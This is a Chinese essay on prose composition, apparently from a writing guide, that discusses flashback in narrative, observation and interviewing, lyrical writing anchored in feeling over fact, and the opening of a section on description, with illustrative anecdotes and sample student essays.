侦探小说是倒叙吗？也许是吧，一件罪案要先有犯罪的人，犯罪的动机，犯罪的方法，实施的步骤，而侦探小说一开始就写犯罪的结果。从罪案的发生看，侦探小说是倒叙；就侦办的经过看，警察的确是先看见了尸体，再去查死者的姓名，清查死者的人事关系，假设涉嫌的人，一步一步水落石出，最后将凶嫌逮捕。时间的顺序就是如此。这岂不又像直叙？写侦探小说，作者的布局的确想倒过来写，但他不能以凶手的眼睛建立视点，要以警察或侦探的眼睛建立视点，正是为了避免 “赤裸” 的倒叙。
几乎每一个谈论 “倒叙” 的人都举过下面这个例子，各家的 “版本” 略有不同。故事的大意说，某君从异地还乡，见家中的长工赶着马车在车站迎接，颇感诧异，他以为弟弟会开着汽车来的。他和长工之间有如下一段对话：
“家里的汽车呢？”
“昨天撞坏了。”
“怎么撞的？”
“二少爷开快车。”
“哦！我弟弟怎么样？”
“在医院里急救。”
“咳！他开车为什么不顾安全呢！”
“因为他要送老太爷去医院。”
“我爸爸怎么啦？”
“他老人家突然得了心脏病。”
“本来好好的，怎么突然病了呢？”
“因为家里失火，房子都烧掉了。”
写这个故事的人似乎有意把整个事件倒过来说，但是读来十分自然，他不但使我们 “听见” 家破人亡的惨变，也使我们 “看见” 一个拘谨的、迟钝的、口才笨拙的老仆，他透过人物性格使倒叙显得合理，也就是说使读者 “误以为” 仍是直叙。
有人在外面应酬了一天，回家后发觉遗失了打火机。那打火机是个纪念品，他不能淡然置之，就坐在家里，抽着烟，回想可能失落在什么地方。他把当天所到的地方、周旋的情景一一在脑子里检查一遍。他倒用不着按照时间先后排列相反的次序。他可以先想印象最深刻的，先滤掉没有可能的。早晨到某旅馆看某人，在那里并未抽烟，不可能遗失打火机。下午四点陪朋友喝咖啡，大家称赞他的打火机，有人开玩笑说要 “没收”，他也用开玩笑的态度抓起打火机，装进口袋里起身就走。这一幕印象最深刻。剩下的，一个是中午的餐会座谈，一个是晚上的喜酒，这两个地方最可疑。喜筵上一直有人点烟敬酒，自己的打火机有没有拿出来过？
这也是倒叙吧？然而它是顺著 “他” 的思维写的如此这般，我们有两个问题：一、从什么地方倒叙；二、怎样 “伪装” 成直叙的样子。
民间传说有很多女子比男人强，而且她们大半是丫鬟或姨太太。据说有一次，蒙面大盗侵入一个富人的家庭，把全家人都捆起来再大肆劫掠，有一间上了锁的屋子无法进入。盗匪断定屋子里有值钱的东西，威吓富翁交出钥匙，富翁的太太吓慌了，说出钥匙在姨太太身上。姨太太知道不能抵赖，就坦然说：“你们放开我，我打开锁，带你们进去拿东西。” 强盗认为一个女流不足为患，就给她松了绑。她果然开了锁，举着烛台，跟在强盗后面指指点点，使强盗找到金银。（此处故意遗漏一件事。）强盗走后，富翁急忙报案，官厅查问强盗的模样，都说强盗蒙着脸，看不出来，独有那位姨太太说，她替强盗秉烛照明的时候，故意把烛泪滴在强盗的衣服上，希望官厅赶快搜寻；但看衣服后背有蜡泪的，便是疑犯。（前面遗漏的事在此处写出来。）官厅凭此线索，果然破案。
在这个故事里，把姨太太留下破案的线索改为倒叙，增加叙述的曲折起落，这是把 “关键” 移后，让读者有所期待，有期待而后有满足。倒叙的 “伪装” 也很成功；姨太太的布置在当时是一大秘密，旁人看不出来，强盗感觉不出来，只有姨太太自己知道，但她恨不得连自己也瞒着，所以读者对此一隐秘的气氛不加抗议，以为自己也 “应该” 和在场的人同样懵然。如此始能破案，而读者赞成破案。
使用局部倒叙的人不要忘记了，“倒叙”的部份叙完以后，多半要回到主流，继续直叙下去。这样，直叙的 “大形式” 并吞了倒叙的“小形式”，倒叙始完全自然。姨太太设计破案的线索，是倒叙，官厅凭线索破案，是归于直叙。同理：
- 那个遗失打火机的人，在左思右想、东找西寻之后找到了打火机，并慎重的收藏起来。
- 那个坐在马车上惊闻家变的归客，只嫌马车太慢，恨不得一步走完。
- 那白发苍苍的老校工，平生最爱儿童少年，所以选择了现在的职业。
- 在我家院子里栽树的人早已不知那里去了，诚所谓 “前人种树，后人乘凉。”
- 婶婶一直希望有只狗陪她，如此这般得到了狮子狗，不寂寞了。
- 进电影院或博物馆之前不早已饿了吗？现在电影散场赶快吃饭吧。
倒叙是直叙的变化、调剂，整体倒叙的散文很少；局部倒叙的散文，其倒叙的部份多半不会很长。而且，倒叙完毕回到直叙以后，文章也快要结束了。这就是说，倒叙的部份多半在文章的后半段，什至有人定出比例，认为约占三分之一的篇幅。
记叙的舍和取
最后的问题是，纵然使用倒叙，那材料仍然不能写成一篇可读的文章，怎么办？如果这是课堂上作文，你只得硬着头皮写，如果是自由写作，那就放弃这个材料算了。并不是每一经验，每一见闻，每一思虑都是文章，我们放弃的材料比使用的材料不知要多几十倍。不过放弃并非 “丢弃”，你可以保存着，说不定什么时候忽然有了用处。
记叙 + 想象
以上的说法尽量约束了写作时的想像力。一开始我就说，我们是讨论忠于事实的记叙文，只希望事实在读者眼中生动一些。在想像的天地里应该没有乏味的事情，你可以 “加油添酱”，什至可以 “妙造自然”。老夫老妻无言对坐，结婚五十年把可说的话都说完了，多乏味啊，文章怎么做得成呢？但若可以任意想像，就有一个蚂蚁在老太太脸上爬，跌进皱纹里头爬不出来，老太太挺富泰，纹沟一挤，几乎可以把蚂蚁活埋了！老先生望着妻子的脸微笑，像五十年前的笑法，而老太太也忽然腼腆起来。
有一年，我穿过台北市新公园，一个十三、四岁的小朋友向我兜售奖券。那时正是上午。我问他怎么不上学，他说祖父躺在台大医院的三等病房里缺钱。台大医院近在咫尺，我教他带着我去看他的祖父。进了迷宫似的台大医院，那小朋友忽然不见了，一条条走廊上只有灰沉的光线和使人联想到尸体防腐的药水气味。我想那孩子撒了谎，又在无以自圆的情势下逃走了。这件事我一直不能忘记，也始终不能写出来，材料本身有缺陷，倒叙也难以补救。若是摆脱限制，自由想像，那孩子把我领到病房，朝着病床上的老太太或老先生虚指一下再躲开，而我不知是诈，上前和老太太攀谈起来，岂不就可以得心应手写下去？
观察
在想像受限制或想像力不够的时候，写散文的人宜乎用 “观察” 来补救。身在局外，用视觉、听觉、味觉、嗅觉、触觉去发现可写的材料，都算 “观察”。若非观察，怎知有老翁老妇默然对坐。若非观察，怎知老翁微笑。不但写老翁微笑，而且写老翁为老妇脸上的蚂蚁而微笑，而且写老妇因老翁之笑而腼腆，是靠进一步的观察，连续观察。
连续观察下去，或者可以发现，两人虽然无话可说，却并不走开。老妇坐在那儿打毛衣，老翁坐在那儿玩扑克牌，这两种 “活动” 真是风马牛不相及，并无坐在一张桌子上的必要，然而他们谁也不肯走开。这就又 “观察” 出一些 “意思” 来。五十年来，两个人的 “领域” 已合而为一，他们互相依存。如果有材料，此处可以开始 “倒叙” 了。
或者，你看见另外的景象。那打毛线的老妇，忽然起身离座，她要走开吗？不是，她拿着快要完成的毛衣到老翁身上比试，她是替丈夫打毛衣！过了一会儿，老翁把扑克牌收拢、叠好，起身离座，他是要走开吗？不是，他活动一下筋骨，又坐下了。他还对老妇说：“你的运气很好，我算出来了。” 原来他是替太太卜卦玩儿呢！两人在形迹上很淡，在情意上却是很浓。这不是更有意思吗？也许这些年，老翁老妇常常无言对坐，一个为一个卜卦，一个为一个打毛衣，或是其他诸如此类的事情，表现出良好的默契。如果有材料，这也是倒叙的时候了。
访问
我们怎能知道他们以前的生活呢，又不能观察他们一辈子。或者你得跟他们谈谈，你得 “访问”。访问是观察的一部份。发现了 “有意思” 的现象，好比找到“矿苗”；进行访问，就是 “开矿”。如果老师说，明天远足，后天作文写 “远足记”，那么你在车上不能只打瞌睡，你得跟车掌谈谈，你在中午不能只吃包子，你得跟小贩谈谈。你进了庙不能只求签，你得跟和尚谈谈。这样，材料就多了。把材料一条一条列在纸上，从其中选出若干条来写你的 “远足记”，想想用那一条开始，那一条结束，那一条倒叙，或者根本不必倒叙。人多半喜欢谈他自己，所以访问多半会有收获。倘若碰了钉子呢？你不是想把文章写好吗？那就不要灰心。
抒情的技巧
抒情文写的是情
其实不独抒情文，记叙文议论文也离不了 “情”。如果不是某件事引起了我们的喜悦、警惕、悲悯或钦仰之情，我们干吗要记它叙它呢？如果无爱无憎，心如止水，我们又何必对别人的主张议之论之抑之扬之呢？无情固然不能抒情，无情恐怕也不宜记叙议论。不过，记叙文毕竟以所记所叙的事物为主，议论文以所议所论的理为主，两者都比较客观。如果说文学作品都是主观的，那么记叙议论是 “主观中的客观”。
抒情文以情为主，它可以由事由理引起，但文章里的情 “淹没” 了那事那理。借景生情，情溢乎景，因事生情，情溢乎事，临地生情，情溢乎地，睹物生情，情溢乎物。它的表现是主观的。
极端的例子要向诗中寻找。有一个诗人到情人的墓前凭吊，适逢天降大雨。他回来写诗，责怪上天为何把暴雨降在他的爱人的墓上？读诗的人质问：雨到底应该降在那儿？别人的墓也在淋雨，为什么她的墓应该例外？如果雨神也画个租界，那么本来应该落进租界里的雨势将 “转嫁” 到别人坟上，这样公道吗？——不错，你有理，诗人理屈，但是情长，他本来就是在抒情！
“唐吉诃德传” 里面有一段记述对我们很有意义。吉诃德以骑士自许，漫游四方，某月行经一地，见几个男子正在为一个自杀而死的青年营葬。听他们谈论，知道死者是因为失恋才寻短的，他在生前颇有才华，身后还留下几卷长诗呢！一个送葬的人在坟地朗诵死者的遗作，诗中的意思大概是（让我当做抒情文写出来吧）：
狠心的女郎啊，我的死讯，就是你的捷音，我的呻吟，替你做了最好的宣传。雄狮的怒吼，子夜的狼嗥，蛇的嘶鸣，寡鸱孤雉的悲啼乃至地狱里一切幽魂的嗷嗷嘈嘈，都不能和我的绝命词相比。深岩绝壁，幽谷荒山，都将缭绕着我的哀声余响。欢乐和恐惧曾经同时占据我的灵魂，希望和幻灭交替支配着我，她的真实的态度终于露出来，狰狞的幻影凝成实体，你这暴虐的女王，把自裁的利刃交在我的手上，再赐给我一条绳索。我的尊严的爱情，只讨来嫌憎。冰霜凛冽，恩断义绝，我以一死战胜侮蔑，让心如蛇蝎的人妆扮容颜，把我的死期当做佳节来庆祝吧！
另一个送葬的人听了朗诵，提出异议，他认识死者生前的恋人，他认为那个叫马拉赛的女孩有操守美德，跟绝命词里所形容的并不符合。此时死者的好朋友就说：
当这个不幸的人写这首歌的时候，正和爱人在分离之中，心境受着各色各样的扰乱，担着各色各样的忧虑，他在想像之中起了种种的嫉妒和疑惧，仿佛真有其事一般。
这几句话对抒情的主观色彩作了扼要的说明。接着，女主角马拉赛出现了，她是为自己辩护而来的，面对送葬的人，她说了一大段话，摘要转载大概是：
你们认为，老天生得我好看，我的美貌使你们不得不爱我，而我为了报答你们的爱，你们就硬主张我也非爱你们不可。这话听起来实在太可怪了。况且那个美人的爱人或许很丑陋，难道也可以说，我是为你美而爱你的，我自己虽然丑陋，你却一定得爱我？即使两方面的美相等，也不能说两方面的志趣性格就应该相投，美不一定能激起爱来。请你们告诉我，如果我生得很丑陋，而我爱你们，要是你们不爱我，我就怨恨起来，你们认为公道吗？名誉和美德是灵魂的装饰，要是没有它，那肉体即使真美，也不该认为是美。贞操是美德之中最足以使身心两者都加美的，那末一个因美而为人所爱的女子，为什么要抛弃贞操，去满足那个男子的欲望呢？
这简直是条理分明的议论文了。我们拿这美女振振有词的辩解，和前面那男子如怨如怒的遗言比较一下，抒情的主观岂不是十分明显吗？
我们中国把人的感情区分为 “喜怒哀惧爱恶欲” 七大类。“喜”大概就是家有喜事的那个 “喜”，大概也包括了“乐此不疲” 的那个 “乐”。“哀” 是现在所说的 “悲”，“恶” 是爱的反面，而 “欲” 大概是现在所说的欲望。前面所引那个男子的遗言，“恶”和 “欲” 的成分多，“爱”和 “哀” 的成分少。
情与人事结合，又生出许多名目，如亲情、友情、世情、爱情、思古之幽情、出世之逸情、慷慨之豪情。情的况味是复杂而细微的，你要睡着了，有人怕你受凉，拿件大衣替你盖上，此中情味如何，要看那人是谁。那人是父亲，是母亲，是老板，是朋友，是同性朋友还是异性朋友，你的感受绝不相同。
人是感情的动物，由一片黄叶飘落到一个亲人死亡，都使你 “有动乎中，必摇其精。” 苦行僧夜宿树下，每三天换一棵树，惟恐对那一棵树恋恋不舍。就这样，人的感情连感情，感情生感情，连结成一张网，把你围住困住。也许结了茧，一生冲不出去。
有些事物引起的情感特别强烈，例如母亲留下的老花眼镜，震撼力很大，尤其是家用拮据的母亲，一副眼镜用了多少年，不惟式样老旧，镜片也起了毛雾，而且可以想像，这眼镜的光度也跟不上眼睛的光度了吧。然而这副眼镜的所有者，白发苍苍的老太太，就是透过这混浊的光线，眯着眼睛穿珠子，把丝线穿进塑胶珠的小孔里，一串一串的穿了十几年。我们并不是她的儿女，我们什至根本不知道她做过什么，只要看见那副饱经忧患的眼镜，就禁不住内心感情之汹涌了吧。
从前，食指浩繁的家庭往往给最小的儿子另找父母，这疏散出去的子女，照例要和原来的家庭断绝联系。于是发生这样的事：做哥哥的（也是个小孩子）常常跑去探望弟弟，带一块糖给他，或是送他一只蝉。弟弟的新父母受不了聒噪的蝉声，觉得两个孩子的交往对家庭构成威胁，就狠狠的隔断他们。有时候，小哥哥忍不住，不免拿着一只蟋蟀或是一只麻雀，在弟弟的新家附近流连徘徊，探头探脑。如果我们知道这是怎么一回事，看他那模样，怕不只要恻然心动吧。
一个写作的人，一旦受到深深的感动，他怎样做？我想，总不会记下他发现了一副旧眼镜就满足了吧，尤其是当他遇身局内的时候。有一个少年，他写了这么一篇文章：
我的爸爸本来是个卖包子的，他在公园路有个铺子，是那种叫做违章建筑的木板屋。生意真好，他整天剁馅儿。
制馅儿的人是包子铺里的灵魂，我家的包子能够驰名四方，全靠馅好。爸用两只手拿两把菜刀剁馅，动作极快，供应不断，从不让买包子的久等。剁馅用的砧板是用很厚很结实的木材做成的，两三年后就变薄了，而且像砚台一样留下了凹痕。它不能再用，爸得去买一块新的砧板来。
人家都说爸做的包子天下第一，理由如下：包子是中国食物，最好的包子应该出在中国，而中国的包子又以我们家做的最好。不骗你，我每天上学放学从包子铺门外走过，常见有人坐着汽车从老远的地方来买包子。
现在爸不卖包子了，公园路那一排木板屋也早拆掉。当年那几块不堪再用的砧板还在，爸把它带回家挂在书房里——他现在有书房了——当做纪念。他常常指着砧板告诉我们为人不要好逸恶劳。
他写的是一篇记叙文。后来，身为人子的他，在父亲荫庇下受大学教育的他，对这一篇 “旧作” 越看越不满意，于是有一次大规模的改写。改写后的 “新作” 又是什么样子呢？
每逢看见有人弹钢琴，我就想起父亲。每逢看见有人使用英文打字机，我就想起父亲。每逢从收音机里听到平剧的鼓声，我就想起父亲。
父亲不打鼓，不打字，也从来不弹钢琴，但他的双手比打鼓、打字、弹钢琴的人忙碌十倍，也巧妙十倍。当我上小学的时候，每天背著书包从父亲开设的包子铺门前经过，总看见他在剁馅儿。他两手并用，双刀轮番而下，打鼓似的、弹琴似的敲响了砧板。当我去上学的时候，包子铺里的成品堆得像小丘那么高，他仍然不停的剁馅儿，好像他的工作才开始。放学回来，成堆的包子不见了，卖完了，他仍然在那儿剁馅儿，好像永远没个完。
那条路上有许多小吃店，许多行人，还有来往的汽车，声音十分嘈杂。可是而今在我的回忆之中，只有一种声音，一种擂鼓的声音，轻一阵重一阵，密一阵疏一阵，从路的这一头响到那一头，整条街上的木板屋都发出共鸣。
这是父亲的战鼓，我踏着他的鼓声去上学，踏着他的鼓声回家，我是在他的战斗里长大的。
那是多么严肃沉实的声音啊！听那节奏，就知道他的手法多么纯熟，知道这个枯燥的工作消耗了他多少岁月和热情！包子铺的生意极好，很多人从远处开着汽车来买，称赞这一家的包子 “天下第一”。父亲什么表示也没有，只是擂他的战鼓。
然而父亲对他的战斗是颇为自豪的，他每隔两三年要换一块新的砧板，旧砧板在无尽无休的切剁和刮洗之下变薄了，中间凹下去了。父亲把这些不堪再用的砧板当做纪念品好好的收藏起来。
现在，父亲不卖包子了，他把那几块纪念品挂在他的书房里。客人来了，不明就里，还摩挲欣赏，问是那派艺术家的构制呢！只有我知道，那是一位生活的巨匠在完成了四个孩子的教育之后偶然遣兴的几件小品，留作我们的传家之宝。啊，父亲！父亲！
这该算是抒情文了。拿这一篇跟上一篇比，很明显的增加了咏叹语调。咏叹的调子是抒情的。跟上一篇比，这一篇在叙事之中，处处写出作者自身的感受。这一篇字数比上一篇多，叙事却比上一篇简化，许多地方以作者内心的感受为主题，外在的 “事” 是个引子。
以内心感受为主题
就像翘翘板，前一篇文章是 “事” 的一端较重，“情”的一端较轻，这一篇，“情”比 “事” 要重，翘翘板平衡了，可是 “情” 的那一端马上又沉沉下坠了。抒情文多半是 “情” 比“事”要重，“情溢乎事”的。
在 “以情为主” 的原则之下，我们无可避免的要接受两点：
- 就作者而言，叙事不宜详细，什至有时不必清晰。
- 在抒情文里，“事” 只是豆之棚，瓜之架，要预留适当的空隙，情感才有发抒之地。这和音乐剧相同，音乐剧的情节多半简单松散，以便安置音乐。
某某中学旁边原有一座池塘，赶早到校的学生，可以驻足欣赏好几种水鸟。池塘边有几棵大树，树也是鸟的家。可是学生越来越多。校方决定扩建校舍，就把池塘填平，改为球场。几棵大树当然也杀掉了。爱好体育的同学，有了新运动场，不免 “雀跃” 三尺，可是那些真正的雀儿鸟儿却凄凉了。每天早晨，它们还在操场上空盘旋呢。还站在操场边上观察呢。还在附近的草地上一面寻找一面唧唧喳喳的谈论呢。这些鸟儿，它们昨晚在何处安身呢？它们是否也有一种哲学足以解释这沧桑巨变呢？它们是否也有一种神话预言浓荫绿波将恢复旧观呢？
如果你写抒情文，伐树填塘都只能寥寥几笔；而且要避免旁生枝节。如果也要写包工的人怎样偷工减料；当地保护环境的人怎样呼号反对，可能写得很热闹，但是怎样抒情呢？抒情是需要一些寂寞冷清的。
如果一件事情根本就是复杂的，例如三角恋爱，在抒情文中多半不作详细交代，予人以含糊暧昧的感觉。难言者，事也；可得而言者，情也。一篇抒情文这才能够顺利产生。
抒情文是不能考据的
他说 “我的血管连着他的血管”，你干吗要解剖呢？他说：“我饮下满杯的相思”，你干吗要化验呢？他说他将在银河覆舟而死，你又何必搬出天文知识呢？他说他坐在那里坐成禅，坐成小令，坐成火山，你又何必摇着头说不可能呢？他说的血管、银河、火山，都是一种情，都和生理、天文、地质毫无关系。
抒情文里的记事其实并不是记事。“从你的瞳子走出来、流浪终生”，岂是记事？“莫道繁华无凭，山鸟记得百花开过。” 岂是记事？并非记事，全是抒情。
最有名的例子也许是苏东坡的前赤壁赋。拿它当做记叙文看，它可以说是失败了，东坡居士弄错了地方，他所游的根本不是三国鏖兵的战场；拿它当抒情文看却是伟大的作品，那思古之幽情，旷世之豪情，潇洒之逸情，十分迷人。评论家以情取文，那地理上的错误竟未贬损此文的价值。
最无名的例子也许是，一个爱好写作的人乍见那副老花眼镜，内心震动，情感汹涌，发为文章。可是等到他第二次看到那副眼镜的时候，才看清楚它并没有什么特色，显不出戴这眼镜的人呕尽心血，上次的印象竟是一瞥之间的错觉。那么，是不是他已经写成的那篇文章应该作废呢？不然！那文章所表现的 “哀哀父母、生我劬劳” 的人子之痛是真诚的，是在世上没有眼镜之前就存在的，是可以脱离那副眼镜而独立的。
散文是年轻人的文体
抒情文是年轻人最易表现特色的一种文章。散文在形式上最自然，最自由，可以随意挥洒，不拘一格。它恰恰配合青少年身心的成长。记叙文，议论文，都要建立在可靠的根据上，这根据无论如何是外在的，是比较客观的，是有赖下一番功夫的，相较之下，抒情文的真性至情，是自内蕴蓄、天然流露的，是人同此心、尽其在我的，是天分多于功力的。
无论如何，写 “哀哀父母、生我劬劳” 的心情，比记述 “贤妻良母的一生” 要容易，比写 “怎样振兴孝道” 要容易。——找材料比较容易。也比较容易有特色。这里那里，常有年轻的朋友在抱怨：“刊物的篇幅都被名作家、老作家占据了，我们要发表一篇作品是多么困难啊！有谁会注意我们呢？” 有一位十九岁的朋友对我说：“有些编者是只看作者姓名而不看文稿内容的，而读者又是先看作者姓名后看（或不看）作品的。”]
看起来，老作家、名作家有长久的写作历史，广泛的公共关系，熟练的表现技巧，向文艺的世界举步进军的大孩子似乎不是他们的对手。每天，一个编者坐在写字台旁，审阅一份又一份来稿，这时，他的写字台上在展开一场无声的战争：作者和作者间的战争，装备精良训练有素的老作家似乎颇占优势。
不，情势并不悲观。年轻人也有他的优势，他的优势来自他的抒情本色。他能把抒情文写得极好，为许多老作家所不及。
- 他有新鲜的角度。
- 他有丰富的感应。
- 他有率性的真诚。
这些，老作家当然也有过，而且可能至今未曾失去，世人称赞这样的作家 “不失赤子之心”。但就一般的趋势而论，“树大自直，人老自智”，这个智是智慧，也是理智。他经历过太多的事情。他分类归纳了它们。他觉得日光之下无新事而有常理。他写杂感发议论自有独到，可是抒情，他多半得退出一舍二舍，让出由年轻人表演的空间。年轻人不但有喜，有悲，有爱，有憎，而且能在文章里喜其所喜，悲其所悲，爱其所爱，憎其所憎。他写出来的东西可能不老练，但是可以不敷衍，不扭曲，不矫情。他能写出惟有年轻人才写得出来的散文，突破老作家的掩盖。
为什么文人多半 “穷而后工” 呢？因为文人既“穷”，就会对自己忠实，对文学忠实，他对别人无须敷衍了，也不必矫情了，能像年轻时代一样全神贯注，心口如一。
年轻人天然属于文学，尤其是抒情的文学。在抒情的文学面前，年轻人的疏于观察，不谙世故，都可能由负数变成正数。你也许还不知道，今天的编者在打开满筐的来稿时，先找年轻的字迹和陌生的名字，他需要未知数。
今天有许多读者，在书摊上打开新出版的杂志；先从目录上寻找陌生的名字，总要有几个陌生的名字，他才肯买这本杂志。未知数可能大于已知数。当年我教人写作，有位同学说他实在不知道写什么才好。我问他：“你有没有哭过呢？” 回答是当然有。我说：“写你那次哭的滋味，写你哭时心理的想法。”
“何必写出来给人看呢？多难为情呢？”
“你的作业可以免缴，” 我说。“把自己的感情当作羞耻的人，怎能走进文学的世界呢？”
又有一位同学说：“我想来想去，都是些鸡毛蒜皮的小事，不值得一写。” 什么才值得写呢，“就像是入水救人啦，拾金不昧啦。”
有人带着女朋友游碧潭，这里那里指挥女朋友摆姿势做表情照相，怪辛苦的。可惜他临出门时太紧张，相机里忘了装底片。这个过失，终于在吊桥上拍照的时候发现。他失声叫了出来。女朋友伸过手来：“让我看看。” 一看之下，顿时大怒，扬手朝桥下丢去。男朋友抢救不及，急忙伏在桥栏上察看，却见下面一位船夫正好伸手接住了。那位船夫仰起脸来，两人遥遥相望。“这是你的相机吧？” 船夫问：“还要不要？想要，拿奖金来！” 那时，扶轮社定的办法，从碧潭救出一个快要淹死的人，可得五百元的 “救溺奖金”。
这件事看来很热闹，值得写，其实，即使桥下没人接住相机，仍然可写。即使女朋友没抛相机，仍然可写。即使相机里没有忘记底片，仍然可写。拾金不昧固可记事，无金可拾，空荡荡的街心灯影，寂寞一片，岂不更宜抒情？入水救人是文章，临渊羡鱼也是文章。临渊羡鱼比入水救人要平凡得多，那么正好是抒情的题材。
人有七情，在小说戏剧中七情俱到，散文似乎有所选择。以我的印象，时下散文写 “哀”（悲），触目皆是，几乎是抒情的主调。“爱” 常和 “悲喜” 交织或融合，人的情感本是如此。“喜”“乐”“爱”也常在一篇文章中互相代替，例如 “农家乐” 里面有 “丰收之喜”“乡土之爱”，“读书乐” 离不了 “爱书成癖”“欣然忘食” 和偶然以低价购得珍本的庆祝心情。情就是情，这些不必强为画分。
抒情散文很少写 “怒”，简直避免写“恶” 和“欲”。七情中没有 “恨”。中国文学的术语中虽有恨字，却不作仇恨解释，七情中没有恨字，“怒而恶” 大约就是吧。抒情散文极少有 “怒而恶” 的作品流传，从一般选集和文集中很难找出例子来。我怀疑抒情散文若是写恨，读来怪可怕的，若是淋漓写怒不可遏，恐怕又未免可笑。作家总要等一等，等那 “怒” 转化为讽刺，等 “怒而恶” 升华为悲悯，等 “欲” 净化为欣赏或旷达再动笔的吧。
要抒人的高尚感情
作家为了 “精于艺事”，必得努力提升自己，这是写作对人的良好影响之一。
记叙文可以增进我们的知识，议论文可以增进我们的见解，抒情文对此二者 “应该” 无能为力。抒情文 “应该” 给我们情感教育，使我们由无情而有情，由卑劣之情而优美之情。
情是肺腑真诚，无情也是。卑劣之情是肺腑真诚，优美高尚也是。这种改变是自内而外的改变。
有一个常写散文的人，他的写作历程中有如下一个故事：抗战时期他是流亡学生，由一所国立中学收容。总务主任是个蛮横的人，干过文官也干过军职，把官场的坏习惯带到学校里来，弄得学生每餐都吃不饱。这位总务主任常说：“共赴国难嘛！等到抗战胜利就可以吃饱了。”
某年暑假，我的朋友到另外一所国立中学访友，发现人家的伙食无论质量都高出许多，抗战没胜利照样也可以吃饱。同样是国立学校，同样的经费，同量的主副食，为什么我们要过荒年？经过一番研究，他写了一个改进的办法。
回到学校里，他联合各班的班长签名陈情，要求校方实行他的方案。校方置之不理，他们就一同向校方请愿。十几岁的大孩子嘛，说话有什么起承转合呢，那里懂委婉含蓄的讽谏之道呢，说着说着，“不像话” 的话出了口，校方刷刷刷写张布告把他开除了。
人非草木，岂能无情？他在离校之前写了一篇 “抒情文” 表示他的愤怒。他认为，我们总要长大的吧！将来我们总也会有一点儿横行霸道的能力吧！那时，无论在何时、何地，只要和那总务主任相遇，我们立即给他一顿拳打脚踢！
现在看，这些话如果是小说中的一段，当然没有什么，若是如此抒情独立成篇，实在有点 “那个”。不过那时我们并不觉得。
二十年后，我们在朋友的喜筵上凑巧与那位总务主任同席。他已真正衰老，皮骨之间什少脂肪，眼睛也不大睁得开，手臂和脸颊都使人联想到出土的古玉，惨白而有尸气。他除了和风湿病奋斗以外，生命力所余无几。二十年前的事也都不记得了，倒要向我们问长问短，找寻回忆，那情状不像老人回忆壮年；很像是青年人回忆幼童。
那天晚上，我的朋友没了脾气，频频向老者劝菜敬酒。然后他再写一篇散文。可以说，这一篇是上一篇的延续。他说，他觉得，那天面对的是另外一人，与当年的总务主任并不相干。也许这些年吃得太好了吧，二十年前的饥饿已经不再重要。可怜的总务主任，他即将走完他的一生，他年轻的时候总也有过理想吧，在艰苦抗战的年代，漫长的八年，他总也有过一些贡献吧，现在不是连他自己都不记得了吗？难道他的一生只剩下克扣我们的伙食这一项记录吗？为什么人的记忆力用在猜忌仇恨上特别有效而持久呢？那些事又岂是他一个人耍的把戏呢？
拿这篇文章跟以前的那篇比，这位朋友的情感岂不是升高了吗？
情感是有高下之分的。古时有个文人把他的诗拿给朋友看，朋友建议改一个字，把 “独恨太平无一事” 改成 “独幸太平无一事”。为什么要改？他没有说明理由，写诗的人也没有问，欣然接受了。后来有人说，“独恨太平无一事”，天下太平何恨之有？莫不是想造反？弄出文字狱来怎么办？为了诗人的安全，当然要改。我想这只是一部份理由吧，“独恨太平无一事” 的人也许是想到边疆去立功，也许想到水旱之区去救灾，要天下有事他才有用武之地去发挥自己的贤能。如果这样，他的功业令名要建筑在多少人的痛苦上？要有多少死亡流离的画面给他做布景？这不是太自私了吗？改成“独幸太平无一事”，诗人的情操不是要高一些？
文人作家大概都有一个抒情的时代。其中有些人，年纪大了，理智增长了，往往 “悔其少作”——后悔从前写过那些文章。我们不禁想问他：是后悔流露了自己的感情吗？是认为某一件事 “不配” 浪费自己的感情吗？
前者是否定文学的功能，否定自己的作家身份，令人无话可说。后者是对世事改变了见解，几乎是作家的共同经历。其实 “行年五十而知四十九年之非”，何止作家！几乎每个人都以为他曾经爱过不值得爱的人，或是崇拜过不该崇拜的英雄，或是对无义之友倾肝吐胆，或是——难道他在五十之年要把以前四十九年里的抒情纪录销毁吗？不必，但是有一个条件：他的文章是情溢于事的。
前面对情溢于事已有解释，现在举一个实例：
今夜我独自看星，身旁的空位留给了风。我已跟风结拜，众星星和好。我曾因星星吻你而嫉而恨，而今我知星本无邪，我看满天灿烂如读你的遗爱。
你是风一样的走了，却又风一样在左在右。每颗星都摄了你的影子。你的话仍刻在梧桐树上。你踏过的枯叶至今生花。在小河的漩涡里花瓣仍盘旋不去。只是夜把冷露给了我，日子不再像温泉一样。
我总是在风里等你。在星下等你。在露中等你。一年五季随你的眼波弄潮，相思成树，连虬横空，把密麻根须伸进我的神经。听你指着星空笑牛郎，笑他不敢过河，笑他几千年还不能进化造船。你不是织女，你不知道芭蕉的叶心要卷紧了往外抽，不知道荷叶一旦倾斜，水珠纷纷跌落，就再也不能重圆了。我们现代人的能力究竟比牛郎大了多少？送你远行的那天，我就想到，喷射机不只载人重逢，也便于制造离别。
喷射机像云一样消失，云却是喷射机留下的巨大的影子。云若九万里鹏翼，掠过长空，涂抹大地，使湖泊山岳森林变色，至大至有自信威力。但是它抹不掉夜的黑，抹不干黑中的露。它抹不去你在我的透明的人生中留下的光线不能穿过的盲点。你不是织女，而我竟成牛郎。
描写的技巧
描写的是景
“景” 不限风景，而是包括风景在内的种种 “景象”。一山一水是景，一颦一笑也是；一春一秋是景，一生一死也是。写景的方法用 “描”。
从前的大姑娘都会 “描花”，描花是绣花的预备工作。绣花先有底稿，各式各样的底稿在闺阁之中辗转复制，那时没有影印机，她们的办法是拿薄纸铺在原稿上，以极细的笔画把“花” 的轮廓画出来，她画得很细心，很灵巧，对花鸟虫鱼的线条的美很敏感，这就是“描”。
从前爱字的人看见一张好字，看见名家书法，十分喜欢，光是这样看看实在不够，爱字的人拿很薄的纸铺在原迹上，用毛笔，用很细的线条，把字的轮廓描下来，描出一个一个空心的字来。爱字的人就有了一个副本，这个副本叫 “双钩”，双钩是“描” 出来的。其他爱字的人看不见原迹，只看双钩，从双钩中去温习他以前所见到的原迹，想像以后可能见到的原迹。
我们要好好的体会这个 “描” 字。现在轮到我们 “描” 出景象，供别人去温习去想像。我们“描”，并不藉重线条，而是使用语文。例如：晚凉天净月华开。
